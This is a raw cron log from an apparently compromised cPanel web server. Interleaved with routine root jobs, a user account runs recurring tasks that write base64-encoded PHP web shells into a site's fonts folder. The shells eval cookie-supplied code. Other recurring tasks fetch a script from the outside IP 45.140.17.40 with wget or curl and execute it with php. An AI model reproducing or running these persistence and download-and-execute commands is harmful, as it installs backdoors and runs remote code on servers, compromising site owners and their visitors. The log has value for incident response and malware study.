Sep  8 13:28:01 ip-184-168-122-23 CROND[27212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:28:01 ip-184-168-122-23 CROND[27218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:28:01 ip-184-168-122-23 CROND[27217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:29:01 ip-184-168-122-23 CROND[27314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:29:01 ip-184-168-122-23 CROND[27313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:29:01 ip-184-168-122-23 CROND[27315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:29:01 ip-184-168-122-23 CROND[27316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:30:01 ip-184-168-122-23 CROND[27488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:30:01 ip-184-168-122-23 CROND[27490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:30:01 ip-184-168-122-23 CROND[27493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:30:01 ip-184-168-122-23 CROND[27492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:30:01 ip-184-168-122-23 CROND[27494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:30:01 ip-184-168-122-23 CROND[27497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:30:01 ip-184-168-122-23 CROND[27496]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:30:01 ip-184-168-122-23 CROND[27495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:31:01 ip-184-168-122-23 CROND[27601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:31:01 ip-184-168-122-23 CROND[27605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:31:01 ip-184-168-122-23 CROND[27604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:31:01 ip-184-168-122-23 CROND[27608]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 13:31:01 ip-184-168-122-23 CROND[27607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:32:01 ip-184-168-122-23 CROND[27706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:32:01 ip-184-168-122-23 CROND[27707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:32:01 ip-184-168-122-23 CROND[27708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:32:01 ip-184-168-122-23 CROND[27710]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:32:01 ip-184-168-122-23 CROND[27714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:33:01 ip-184-168-122-23 CROND[27852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:33:01 ip-184-168-122-23 CROND[27851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:33:01 ip-184-168-122-23 CROND[27853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:33:01 ip-184-168-122-23 CROND[27854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:34:01 ip-184-168-122-23 CROND[27944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:34:01 ip-184-168-122-23 CROND[27946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:34:01 ip-184-168-122-23 CROND[27945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:34:01 ip-184-168-122-23 CROND[27948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:34:01 ip-184-168-122-23 CROND[27947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:35:01 ip-184-168-122-23 CROND[28044]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 13:35:01 ip-184-168-122-23 CROND[28047]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:35:01 ip-184-168-122-23 CROND[28051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:35:01 ip-184-168-122-23 CROND[28050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:35:01 ip-184-168-122-23 CROND[28053]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:35:01 ip-184-168-122-23 CROND[28054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:35:01 ip-184-168-122-23 CROND[28055]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 13:35:01 ip-184-168-122-23 CROND[28052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:36:01 ip-184-168-122-23 CROND[28163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:36:01 ip-184-168-122-23 CROND[28166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:36:01 ip-184-168-122-23 CROND[28165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:36:01 ip-184-168-122-23 CROND[28168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:36:01 ip-184-168-122-23 CROND[28167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:37:01 ip-184-168-122-23 CROND[28298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:37:01 ip-184-168-122-23 CROND[28300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:37:01 ip-184-168-122-23 CROND[28304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:37:01 ip-184-168-122-23 CROND[28305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:38:01 ip-184-168-122-23 CROND[28474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:38:01 ip-184-168-122-23 CROND[28479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:38:01 ip-184-168-122-23 CROND[28475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:38:01 ip-184-168-122-23 CROND[28478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:38:01 ip-184-168-122-23 CROND[28476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:39:01 ip-184-168-122-23 CROND[28567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:39:01 ip-184-168-122-23 CROND[28569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:39:01 ip-184-168-122-23 CROND[28570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:39:01 ip-184-168-122-23 CROND[28571]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 13:39:01 ip-184-168-122-23 CROND[28573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:40:01 ip-184-168-122-23 CROND[28702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:40:01 ip-184-168-122-23 CROND[28701]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:40:01 ip-184-168-122-23 CROND[28704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
